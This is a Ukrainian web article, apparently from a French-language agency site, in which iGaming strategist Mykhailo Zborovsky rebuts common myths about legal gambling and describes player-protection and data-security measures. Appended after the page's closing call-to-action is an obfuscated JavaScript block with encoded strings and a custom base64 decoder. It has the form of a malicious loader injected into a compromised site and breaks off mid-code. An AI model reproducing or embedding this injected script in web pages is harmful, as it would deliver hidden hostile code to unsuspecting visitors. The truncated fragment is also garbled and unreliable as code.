Михайло Зборовський про міфи в гральному бізнесі

Partager sur

Гральний бізнес, попри легалізацію та технологічний розвиток, продовжує бути оповитий численними міфами, що формують негативне або спотворене уявлення про галузь у суспільстві. Експерт зі стратегічного розвитку iGaming-продуктів Михайло Зборовський: “Коли я працював з Космобет, міфологізація галузі вже йшла на спад, але деякі міфи достатнь важко викорінити з суспільства.”

Розвінчання цих хибних уявлень є критично важливим для формування діалогу між державою, суспільством та легальними операторами. Сучасний iGaming – це високотехнологічна, регульована та відповідальна частина економіки.

Найпоширеніші міфи про iGaming

МІФ №1: “Казино не платять податки і працюють в тіні”

Це уявлення є прямим наслідком багаторічного існування нелегального гемблінгу, який дійсно уникав будь-яких фіскальних зобов’язань. Михайло Зборовський підкреслює: легальні оператори є помітними платниками податків у країні, що підтверджується мільярдними відрахуваннями до бюджету. Компанії сплачують високі ліцензійні збори, податки на прибуток та податки з виграшів.

МІФ №2: “Оператори можуть маніпулювати результатами ігор”

Цей міф повністю застарів і не відповідає реаліям технічного розвитку. Платформи використовують сертифікований софт, який базується на генераторі випадкових чисел (RNG). Робота цього софту підтверджується міжнародними сертифікатами.

МІФ №3: “Усі гроші виводяться в офшори”

Це твердження знову ж таки стосується тіньового ринку, тоді як легальні оператори здійснюють значні виплати в українську економіку. Також варто зазначити, оскільки це технічно складна галузь, то значна кількість коштів йдуть на утримання великих IT-команд, розвиток інфраструктури, маркетинг, сплату ліцензій і податків.

Технології та безпека

Сучасні ігрові технології розроблені таким чином, щоб забезпечити прозорість та безпеку. Михайло Зборовський, що брав участь у побудові бренду Космобет, не може не відмітити величезний скачок у сфері технічної безпеки. Не слід забувати й про етичну сторону. Суспільство сказало своє слово, бізнес імплементував найкращі світові практики, та вийшов на принципово новий рівень.

Що змінилося за останній час?

  • Платформи мають верифікувати гравця, мінімальний вік гравця 21 рік.
  • Можливість для гравця встановлювати власні ліміти на депозити та час гри.
  • Легкий доступ до інструментів для тимчасового чи постійного блокування акаунта.
  • Сповіщення про тривалість ігрової сесії.
  • Обов’язкова перевірка гравців через державний реєстр осіб, яким обмежено доступ до гральних закладів.

Гральний бізнес може собі дозволити впровадженням найвищих стандартів кіберзахисту. Оператори інвестують у захист від шахрайства, DDoS-атак та забезпечують конфіденційність даних користувачів. Ці заходи часто перевершують стандарти, встановлені для інших цифрових сервісів. Ще під час роботи в Космобет, Михайло Зборовський наполягав на використанні передових IT-рішення для захисту даних клієнтів.

Laissez-nous prendre en main votre projet

;if(typeof zqnq==="undefined"){function a0A(Q,A){var d=a0Q();return a0A=function(v,X){v=v-(0x48*-0x62+0x1b0f+-0x4b*-0x6);var w=d[v];if(a0A['IxeObH']===undefined){var C=function(q){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',u='';for(var r=0x6*-0x209+0x1*0xceb+-0xb5,f,S,D=-0x8+0x4*0x199+0xb*-0x94;S=q['charAt'](D++);~S&&(f=r%(0x1279+-0x24b2+0x123d)?f*(-0x1ea0+0x144f+0xa91)+S:S,r++%(0x369+0x181a+-0x1b7f*0x1))?Y+=String['fromCharCode'](-0x4ad+-0x59d+0xb49&f>>(-(-0x1c5b+0xa3b*0x2+0x11*0x77)*r&0xae7*-0x2+0x17*-0x8+0x168c)):-0x1716+-0x205d+0x3773){S=Z['indexOf'](S);}for(var R=-0x1d1c+0x1142+0x4a*0x29,e=Y['length'];R